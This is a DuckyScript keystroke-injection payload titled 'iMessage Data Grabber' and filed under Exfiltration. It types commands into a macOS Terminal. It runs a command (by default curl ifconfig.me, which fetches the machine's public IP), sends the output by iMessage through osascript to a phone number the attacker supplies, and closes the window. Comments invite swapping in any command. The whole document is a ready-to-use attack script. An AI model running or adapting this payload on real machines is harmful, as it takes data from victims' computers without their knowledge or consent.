REM Title:         iMessage Data Grabber
REM Description:   Sends any command output to an iMessage receiving number (this example grabs the devices IP)
REM Author:        matthewkayne
REM Category:      Exfiltration
REM Target:        macOS (Terminal)
REM Requires:      Device with iMessage to receive the data


DELAY 1000
GUI SPACE
DELAY 400
STRING Terminal
DELAY 200
ENTER
DELAY 200
REM Change this command inside the brackets too any command that outputs text to the terminal
STRING x=$(curl ifconfig.me)
DELAY 200
ENTER
DELAY 200
REM Replace PHONE_NUMBER with you iMessage supported number (leave the @'s, they are required to run)
STRING osascript -e 'tell application @Messages@ to send @'$x'@ to buddy @PHONE_NUMBER@'
DELAY 100
ENTER
DELAY 200
GUI w
DELAY 200
ENTER
